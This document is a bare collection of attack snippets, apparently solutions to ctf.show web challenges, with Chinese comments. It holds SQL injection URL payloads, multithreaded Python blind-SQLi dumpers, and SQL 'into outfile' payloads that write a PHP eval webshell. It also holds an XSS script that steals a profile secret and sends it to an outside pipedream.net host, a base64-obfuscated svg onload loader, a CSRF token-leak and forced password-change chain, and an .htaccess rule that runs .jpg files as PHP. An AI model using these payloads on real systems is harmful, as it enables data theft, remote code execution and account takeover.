1
?id=-1%20union%20select%201,2,3;

1
?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database();

1
?id=-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27and%20table_schema=database();

1
?id=-1%20union%20select%201,2,group_concat(id,%27-%27,username,%27-%27,password)%20from%20users;

1
import requests
2
import urllib3
3
from concurrent.futures import ThreadPoolExecutor, as_completed
4
import time
5

6
# --- 基础配置 ---
7
URL = "https://51707d51-abc7-40e8-a026-9d99fe149358.challenge.ctf.show/login.php"
8
FAIL_STR = "script"  # 登录失败特征字符串
9
MAX_THREADS = 30  # 并发线程数
10
# ----------------
11

12
# 环境初始化：忽略 SSL 警告并建立持久连接
13
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
14
session = requests.Session()
15

16

17
def send_payload(payload):
18
    """核心请求函数，包含 SSL 忽略逻辑"""
19
    data = {"username": payload, "password": "any"}
20
    try:
21
        # verify=False 解决证书验证失败报错
22
        resp = session.post(URL, data=data, verify=False, timeout=5)
23
        return FAIL_STR not in resp.text
24
    except:
25
        return False
26

27

28
def get_length(sql_template, max_len=100):
29
    """探测目标字符串的长度"""
30
    for l in range(1, max_len):
31
        if send_payload(sql_template.format(l)):
32
            return l
33
    return 0
34

35

36
def guess_one_char(sql_template, index):
37
    """利用二分查找探测单个字符的 ASCII 码"""
38
    low, high = 32, 126
39
    while low <= high:
40
        mid = (low + high) // 2
41
        # 使用 > 进行二分判定
42
        if send_payload(sql_template.format(index, mid)):
43
            low = mid + 1
44
        else:
45
            high = mid - 1
46
    return index, chr(low)
47

48

49
def get_string_threaded(sql_template, length):
50
    """多线程调度提取完整字符串"""
51
    if length <= 0: return ""
52
    final_result = [''] * (length + 1)
53
    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
54
        futures = {executor.submit(guess_one_char, sql_template, i): i for i in range(1, length + 1)}
55
        for future in as_completed(futures):
56
            idx, char = future.result()
57
            final_result[idx] = char
58
            print(f"\r[*] 实时进度: {''.join(final_result)}", end="", flush=True)
59
    print()
60
    return "".join(final_result[1:])
61

62

63
if __name__ == "__main__":
64
    total_start = time.time()
65

66
    # 第一阶段：确认数据库环境
67
    print("--- 步骤 1: 获取数据库名 ---")
68
    db_len_sql = "admin' and (select length(database()))={};# "
69
    db_name_sql = "admin' and ascii(substr(database(),{},1)) > {};# "
70
    db_len = get_length(db_len_sql)
71
    db_name = get_string_threaded(db_name_sql, db_len)
72
    print(f"[+] 数据库名: {db_name}")
73

74
    # 第二阶段：获取所有表名
75
    print("\n--- 步骤 2: 获取表名 ---")
76
    table_len_sql = "admin' and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())={};# "
77
    table_name_sql = "admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)) > {};# "
78
    t_len = get_length(table_len_sql, max_len=500)
79
    tables_str = get_string_threaded(table_name_sql, t_len)
80
    table_list = tables_str.split(',')
81
    print(f"[+] 发现表: {table_list}")
82

83
    # 第三阶段：深度挖掘（重点看 users 或含有 flag 字样的表）
84
    for target_table in table_list:
85
        if target_table == 'pages': continue  # 跳过不相关的表
86

87
        print(f"\n--- 步骤 3: 挖掘表 [{target_table}] ---")
88

89
        # 获取列名
90
        col_len_sql = f"admin' and (select length(group_concat(column_name)) from information_schema.columns where table_name='{target_table}')={{}};# "
91
        col_name_sql = f"admin' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{target_table}'),{{}},1)) > {{}};# "
92
        c_len = get_length(col_len_sql)
93
        columns_str = get_string_threaded(col_name_sql, c_len)
94
        column_list = columns_str.split(',')
95
        print(f"[+] 发现列: {column_list}")
96

97
        # 获取每一列的第一行数据（通常 Flag 就在这里）
98
        for col in column_list:
99
            print(f"[*] 正在提取 [{target_table}.{col}] 的数据...")
100
            data_len_sql = f"admin' and (select length({col}) from {target_table} limit 0,1)={{}};# "
101
            data_val_sql = f"admin' and ascii(substr((select {col} from {target_table} limit 0,1),{{}},1)) > {{}};# "
102

103
            d_len = get_length(data_len_sql, max_len=200)
104
            if d_len:
105
                data_val = get_string_threaded(data_val_sql, d_len)
106
                print(f"[✔] 结果 -> {data_val}")
107

108
    print(f"\n[*] 全部任务已完成，总耗时: {time.time() - total_start:.2f} 秒")

1
password=;select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e into outfile "/var/www/html/1.php";%23 &username=admin\

1
import requests
2
import urllib3
3
from concurrent.futures import ThreadPoolExecutor, as_completed
4
import time
5

6
# --- 基础配置 ---
7
URL = "https://a4e5b7fa-5719-403e-abb9-64af82932a7b.challenge.ctf.show/login.php"
8
FAIL_STR = "script"  # 登录失败特征字符串
9
MAX_THREADS = 30  # 并发线程数
10

11
# 替换策略：将空格替换为 /**/
12
# 如果 /**/ 不行，可以尝试 %0a, %0b, %0c, %a0 等
13
SPACE_REPLACE = "/**/"
14
# ----------------
15

16
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17
session = requests.Session()
18

19

20
def send_payload(payload):
21
    """核心请求函数，处理空格绕过逻辑"""
22
    # 自动将 payload 中的空格转换为注释符
23
    processed_payload = payload.replace(" ", SPACE_REPLACE)
24

25
    data = {"username": processed_payload, "password": "any"}
26
    try:
27
        resp = session.post(URL, data=data, verify=False, timeout=5)
28
        return FAIL_STR not in resp.text
29
    except:
30
        return False
31

32

33
def get_length(sql_template, max_len=100):
34
    """探测目标字符串的长度"""
35
    for l in range(1, max_len):
36
        # 这里的模板依然写空格，send_payload 会自动处理
37
        if send_payload(sql_template.format(l)):
38
            return l
39
    return 0
40

41

42
def guess_one_char(sql_template, index):
43
    """利用二分查找探测单个字符的 ASCII 码"""
44
    low, high = 32, 126
45
    while low <= high:
46
        mid = (low + high) // 2
47
        if send_payload(sql_template.format(index, mid)):
48
            low = mid + 1
49
        else:
50
            high = mid - 1
51
    return index, chr(low)
52

53

54
def get_string_threaded(sql_template, length):
55
    """多线程调度提取完整字符串"""
56
    if length <= 0: return ""
57
    final_result = [''] * (length + 1)
58
    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
59
        futures = {executor.submit(guess_one_char, sql_template, i): i for i in range(1, length + 1)}
60
        for future in as_completed(futures):
61
            idx, char = future.result()
62
            final_result[idx] = char
63
            print(f"\r[*] 实时进度: {''.join(final_result)}", end="", flush=True)
64
    print()
65
    return "".join(final_result[1:])
66

67

68
if __name__ == "__main__":
69
    total_start = time.time()
70

71
    # 第一阶段：数据库名
72
    print("--- 步骤 1: 获取数据库名 ---")
73
    db_len_sql = "admin' and (select length(database()))={};#"
74
    db_name_sql = "admin' and ascii(substr(database(),{},1))>{};#"
75
    db_len = get_length(db_len_sql)
76
    print(f"[*] 长度: {db_len}")
77
    db_name = get_string_threaded(db_name_sql, db_len)
78
    print(f"[+] 数据库名: {db_name}")
79

80
    # 第二阶段：表名
81
    print("\n--- 步骤 2: 获取表名 ---")
82
    # 注意：information_schema.tables 这种中间没有空格，不需要处理
83
    table_len_sql = "admin' and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())={};#"
84
    table_name_sql = "admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{};#"
85
    t_len = get_length(table_len_sql, max_len=500)
86
    tables_str = get_string_threaded(table_name_sql, t_len)
87
    table_list = tables_str.split(',')
88
    print(f"[+] 发现表: {table_list}")
89

90
    # 第三阶段：深度挖掘（重点关注包含 flag 关键词的表）
91
    for target_table in table_list:
92
        # 这里建议根据实际题目修改，或者干脆注释掉下面这行来跑所有的表
93
        # if 'flag' not in target_table.lower(): continue
94

95
        print(f"\n--- 步骤 3: 正在挖掘表 [{target_table}] ---")
96

97
        # 1. 获取列名 (应对空格过滤: /**/ , 应对逗号过滤: 使用 join 或其它方式)
98
        # 这里使用了 group_concat(column_name)
99
        col_len_sql = f"admin' and (select(length(group_concat(column_name)))from(information_schema.columns)where(table_name)='{target_table}')={{}};#"
100
        col_name_sql = f"admin' and ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='{target_table}'),{{}},1))>{{}};#"
101

102
        c_len = get_length(col_len_sql)
103
        if c_len == 0:
104
            print(f"[!] 无法获取表 [{target_table}] 的列名，可能存在其它过滤。")
105
            continue
106

107
        columns_str = get_string_threaded(col_name_sql, c_len)
108
        column_list = columns_str.split(',')
109
        print(f"[+] 发现列: {column_list}")
110

111
        # 2. 提取数据
112
        for col in column_list:
113
            print(f"[*] 正在提取 [{target_table}.{col}] 的数据...")
114

115
            # 应对逗号过滤：LIMIT 1 OFFSET 0 替代 LIMIT 0,1
116
            # 应对逗号过滤：SUBSTR(str FROM 1 FOR 1) 替代 SUBSTR(str,1,1)
117
            # 注意：substr() 中的 FROM/FOR 语法在某些 SQL 注入环境下更稳健
118

119
            data_len_sql = f"admin' and (select(length({col}))from({target_table})limit 1 offset 0)={{}};#"
120

121
            # 如果逗号完全被禁，substr 的模板需要改为：
122
            # ascii(substr((select({col})from({target_table})limit 1 offset 0)from {} for 1)) > {}
123
            data_val_sql = f"admin' and ascii(substr((select({col})from({target_table})limit 1 offset 0),{{}},1))>{{}};#"
124

125
            d_len = get_length(data_len_sql, max_len=200)
126
            if d_len:
127
                data_val = get_string_threaded(data_val_sql, d_len)
128
                print(f"[✔] 结果 -> {data_val}")

1
(async () => {
2
  try {
3
    const res = await fetch('/profile', { credentials: 'include', method: 'GET' });
4
    const txt = await res.text();
5
    const secret = txt.split('id="upass"')[1].substr(48,45);
6
    const headers = new Headers()
7
    headers.append("Content-Type", "application/json")
8
    const body = {
9
       "test": secret
10
    }
11
     const options = {
12
          method: "POST",
13
          headers,
14
          mode: "cors",
15
          body: JSON.stringify(body),
16
      }
17
      fetch("https://eo1l5fizoguf4j8.m.pipedream.net", options)
18
      } catch (e) {
19
          console.error(e);
20
      }
21
})();

1
<svg onload=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3hzLnBlL21HZSc7'))>

1
<div class="mb-3">
2
                        <label class="form-label">用户名</label>
3
                        <div class="form-control bg-transparent text-light">test</div>
4
                    </div>
5
                    <div class="mb-3">
6
                        <label class="form-label">密码</label>
7
                        <div id="upass" class="form-control bg-transparent text-light">******</div>
8
                    </div>

1
<form method="post" class="mt-3">
2

3
    <div class="mb-3">
4
        <label class="form-label">用户名</label>
5
        <input class="form-control form-control-lg bg-transparent text-light" name="username" disabled value="test">
6
    </div>
7
    <div class="mb-3">
8
        <label class="form-label">新密码</label>
9
        <input type="password" class="form-control form-control-lg bg-transparent text-light" name="password" required>
10
        <input type="hidden" name="csrf_token" value="3g4i9_yQLKQaoO_LRR8399tux22pg2S7E-WNWJVuPN4">
11
    </div>
12
    <div class="d-flex justify-content-between align-items-center">
13
        <button class="btn btn-neon btn-lg">修改</button>
14
        <a class="text-decoration-none text-info" href="/login">已有账号？登录</a>
15
    </div>
16
</form>

1
// 构造表单数据
2
                    const formData = new URLSearchParams();
3
                    formData.append('password', '123456');
4
                    fetch('http://127.0.0.1:4476/modify', {
5
                        method: 'POST',
6
                        headers: {
7
                            'Content-Type': 'application/x-www-form-urlencoded',
8
                        },
9
                        body: formData,
10
                        credentials: 'include'  // 重要：自动携带Cookie
11
                     }).then(response => {
12

13
                     }).catch(error => {
14
                        });

1
fetch('http://127.0.0.1:4476/modify', {
2
    credentials: 'include'  // 携带Cookie
3
})
4
.then(r => r.text())
5
.then(html => {
6
    // 提取Token
7
    const tokenMatch = html.match(/name="csrf_token" value="([^"]*)"/);
8
    if (tokenMatch && tokenMatch[1]) {
9
        const token = tokenMatch[1];
10
        const leakUrl = `https://23a82889-f2cd-481f-ac4e-f508f661fb47.challenge.ctf.show/?token=${token}&target=http://127.0.0.1:4476/modify`;
11
        window.location.href = leakUrl;
12
    }
13
});

1
   <form id="csrfForm" action="{{ target }}" method="POST">
2
            <input type="hidden" name="password" value="123456">
3
            <input type="hidden" name="csrf_token" value="{{ token }}">
4
   </form>
5

6

7
    <script>
8
        setTimeout(() => {
9
            document.getElementById('csrfForm').submit();
10
        }, 1000);
11
    </script>

1
<FilesMatch "1.jpg">
2
SetHandler application/x-httpd-php
3
</FilesMatch>

1
C64File "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+